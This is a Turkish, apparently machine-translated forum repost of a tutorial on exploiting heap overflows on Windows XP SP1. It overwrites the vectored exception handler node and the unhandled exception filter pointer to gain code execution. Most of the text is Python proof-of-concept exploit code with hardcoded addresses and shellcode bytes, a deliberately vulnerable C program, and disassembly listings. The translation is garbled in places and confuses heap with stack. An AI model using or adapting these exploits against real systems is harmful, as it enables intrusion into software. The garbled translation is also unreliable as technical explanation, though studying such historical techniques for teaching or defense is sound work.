İnsanlar İçin Yığın Taşmaları 101

Daha önce, yığın taşmaları ile, yürütme işaretçisinin (EIP) kontrolünü ele geçirdik, bunun istisna işleyicisi aracılığıyla mı yoksa doğrudan mı olduğunu anlayacağız.

Bugün, doğrudan EIP veya SEH kullanmadan yürütme kontrolünü ele geçiren zaman içinde denenmiş ve test edilmiş bir dizi tekniği tartışacağız.

Kontrol edilen bir değerle, seçimimizin belleğindeki bir konuma üzerine yazarak, keyfi bir DWORD üzerine yazma elde edebiliriz.

Yığın tabanlı arabellek taşmalarını orta/ileri seviyeye bilmiyorsanız, önce bu alana odaklanmanız önerilir.

Örtmek üzere olduğumuz şey bir süredir öldü ve gömüldü, bu yüzden windows yığın Yöneticisini kullanmak için daha yeni teknikler arıyorsanız, etrafta dolaşmayın

Neye ihtiyacınız olacak:
- Sadece sp1 yüklü Windows XP.
- Bir hata ayıklayıcı (Olly hata ayıklayıcı, bağışıklık hata ayıklayıcı, windbg Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Şimdi, elbette, bunu hata ayıklayıcıda çalıştırdığımızda, ikinci tahsisatın kontrolünü ele geçiririz (çünkü freelist[0] ilk tahsisattan gelen saldırı dizesiyle güncellenir).

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Kod:
EAX (what we write) : Blink
ECX (******** of where to write) : Flink

Peki vektörel istisna işleme nedir?

Vektörlü özel durum işleme, Windows XP'de kullanılmaya başlandı ve yapısını yığın üzerinde depolayan SEH gibi geleneksel çerçeve özel durum işlemenin aksine, özel durum kayıt yapılarını yığın üzerinde depolar.

Bu tür bir özel durum, başka bir çerçeve tabanlı özel durum işlemeden önce çağrılır. Aşağıdaki yapı düzenini göstermektedir:

Kod:
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
P**** m_pfnVectoredHandler;
}

Bilmeniz gereken tek şey, m_pnextnode'un bir sonraki _vectored_exception_node yapısına işaret etmesidir, bu nedenle işaretçiyi sahte işaretçimizle _vectored_exception_node (m_pNextNode) üzerine yazmamız gerekir.

Ama bunun üzerine ne yazacağız? _vectored_exception_node göndermekten sorumlu olan koda bir göz atalım:

Kod:
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]

Bu yüzden _vectored_exception_node işaretçisini ESI'YE taşıyoruz ve kısa bir süre sonra ESI + 8'i çağırıyoruz.

_VECTORED_EXCEPTION_NODE bir sonraki işaretçiyi shellcode-0x08 işaret eden bir adrese ayarlarsak, arabelleğimize çok düzgün bir şekilde inmeliyiz. Kabuk kodumuza bir işaretçi nereden bulacağız?

Peki yığında bir tane var:

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

İşaretçimizi yığın üzerindeki kabuk kodumuza görebiliriz.

Tamam, stres yok, bu kodlanmış 0x0012ff40 değerini kullanalım.

Esı+8 çağrısını hatırlıyor musun? hedefte olduğumuzdan emin olalım, bu yüzden 0x0012ff40-0x08 = 0x0012ff38. Mükemmel, bu yüzden ECX 0x0012ff38 olarak ayarlanacak.

M_NextNode (sonraki _vectored_exception_node işaretçisi) nasıl bulabilirim? Olly'de (veya bağışıklık hata ayıklayıcısında), shift+f7 kullanarak istisnamızı şu ana kadar ayrıştırıp kodla devam etmeye çalışabiliriz.

Kod, ilk _vectored_exception_node çağrısı için ayarlanacak ve bu nedenle işaretçiyi ortaya çıkaracaktır:

Kod:
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485

Kodun M_PNEXTNODE (ihtiyacımız olan işaretçimiz) EDI'YE taşındığını görebilirsiniz.

Mükemmel, EAX'I bu değere ayarlayalım.

Yani, şu değerleri belirledik: ECX = 0x77fc3210 EAX = 0x0012ff38.

Tabii ki, EAX ve ECX için ofsetlerimize ihtiyacımız var, bu yüzden sadece bir MSF deseni oluşturuyoruz ve uygulamaya aktarıyoruz. İşte izleme zevkiniz için hızlı bir hatırlatma

Msf deseni oluşturma

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Anti-hata ayıklamayı etkinleştirerek ve istisnayı tetikleyerek ofsetleri hesaplayın

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Tamam, işte bir iskelet poc istismarı:

Kod:
import os

# _vectored_exception_node
exploit = ("\xcc" * 272)

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we don't need the null byte

os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)

Bu aşamada, ecx talimatımızdan sonra shellcode olamaz, çünkü boş bir bayt içerir.

Bu örnekte olduğu gibi, arabelleğimizi yığında saklamak için bir strcpy kullanıyoruz.

Tamam, bu noktada yazılım kesme noktalarımızı "\xcc" de vurduk ve bunu sadece bazı kabuk kodlarıyla değiştirebiliriz.

Kabuk kodumuzu yerleştirmek için tek yer olduğu için kabuk kodu 272 bayttan fazla olmamalıdır.

Kod:
import os
import win32api

calc = (
"\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\ xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\ xd8\xb6" +
"\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\ x75\x5c" +
"\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\ x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\ x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\ x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\ x36\x13" +
"\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\ x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\ x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\ xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\ xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\ x40\xf8" +
"\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\ x52\xa3" +
"\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\ xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\ xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\ xa1\x93")

# _vectored_exception_node
exploit = ("\x90" * 5)
exploit += (calc)
exploit += ("\xcc" * (272-len(exploit)))

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we dont need the null byte

win32api.WinExec(('heap-veh.exe %s') % exploit, 1)

İşlenmeyen Özel Durum Filtresini Kullanarak Yığınığın Taşmalarını Kullanma

İşlenmeyen özel durum süzgeci, bir uygulama kapanmadan önce çağrılacak son özel durumdur.

Bir uygulama aniden çöktüğünde "işlenmeyen bir hata oluştu" mesajının gönderilmesinden sorumludur.

Bu noktaya kadar, EAX ve ECX'İ kontrol etme aşamasına geldik ve her iki kayıt için de ofset konumunu biliyoruz:

Kod:
import os

exploit = ("\xcc" * 272)
exploit += ("\x41" * 4) # ECX
exploit += ("\x42" * 4) # EAX
exploit += ("\xcc" * 272)

os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

Önceki örnekten farklı olarak, bizim yığın-uef.c dosyası, özel bir özel durum işleyicisinin izlerini içermez. Bu, Microsoft'un varsayılan işlenmeyen istisna filtresini kullanarak uygulamayı kullanacağımız anlamına gelir. Aşağıda bir yığın-uef.c dosyası var:

Kod:
#include <stdio.h>
#include <windows.h>

int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}

int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;

hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.\n");
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);

// Heap Overflow occurs here:
strcpy(h1,buf);

// We gain control of this second call to HeapAlloc
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
return 0;
}

Bu tür taşma hata ayıklarken, Olly veya Immunity Debugger içinde anti hata ayıklamayı etkinleştirmek önemlidir, böylece istisna Filtremiz çağrılır ve ofsetler doğru konumdadır.

Her şeyden önce, dword'umuzu da nerede yazacağımızı bulmalıyız.

Bu, işlenmeyen özel durum filtresinin işaretçisi olacaktır.

Bu, setunhandledexceptionfilter () koduna giderek ve bakarak bulunabilir.

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Bir MOV komutunun UnhandledExceptionFilter (0x77ed73b4) adresine bir değer yazdığını görebiliriz:

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

SetUnhandledExceptionFilter() çağrısı yapıldığında, Ecx değerini UnhandledExceptionFilter tarafından sağlanan işaretçiye yazar.

Bu, unlink() işlemi ECX --> EAX'I tetiklediğinde ilk başta kafa karıştırıcı görünebilir, ancak bu özel durumda, SetUnhandledExceptionFilter() UnhandledExceptionFilter işlev çağrısını ayarlama şeklini kötüye kullanıyoruz. Bu noktada, ECX'İN kontrolü kabuk kodumuza döndüren bir işaretçi içereceğini güvenle söyleyebiliriz.

Aşağıdaki kod herhangi bir şüpheyi ortadan kaldırmalıdır:

Kod:
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX

Temel olarak, UnhandledExceptionFilter() değeri EAX'A ayrıştırılır ve daha sonra bir çağrı EAX tetiklendikten kısa bir süre sonra.

Bu yüzden UnhandledExceptionFilter() --> [saldırganlar işaretçisi] var, daha sonra saldırganlar işaretçisi UnhandledExceptionFilter() EAX'A dereferenced ve yürütülür.

Bu işaretçi daha sonra kontrolü kabuk kodumuza veya bizi kabuk kodumuza geri götürecek bir talimata aktaracaktır.

EDI'ye bir göz atarsak, yükümüzün altından 0x78 baytlık bir işaretçi göreceğiz.

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Bu işaretçiyi basitçe çağırırsak, kabuk kodumuzu yürütürüz. Bu nedenle, EAX'ta aşağıdaki gibi bir talimata ihtiyacımız var:

Kod:
call dword ptr ds:[edi+74]

Bu talimat, XP sp1 altındaki birçok MS modülünde kolayca bulunur.

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Öyleyse bu değerleri Poc'mize dolduralım ve nereye indiğimizi görelim:

Kod:
import os

exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)

os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

Tabii ki, sadece kabuk kodunun bu bölümüne ofseti hesaplıyoruz ve JMP talimat kodumuzu ve kabuk kodumuzu ekliyoruz:

Kod:
import os

calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\ xB9"
"\x44\x80\xc2\x77" # address to WinExec()
"\xFF\xD1\x90\x90")

exploit = ("\x44" * 264)
exploit += "\xeb\x14" # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc

os.system('heap-uef.exe ' + exploit)

Sitemizdeki linkleri görmek için ÜYE olmalısınız.

BOOM!

Sitemizdeki linkleri görmek için ÜYE olmalısınız.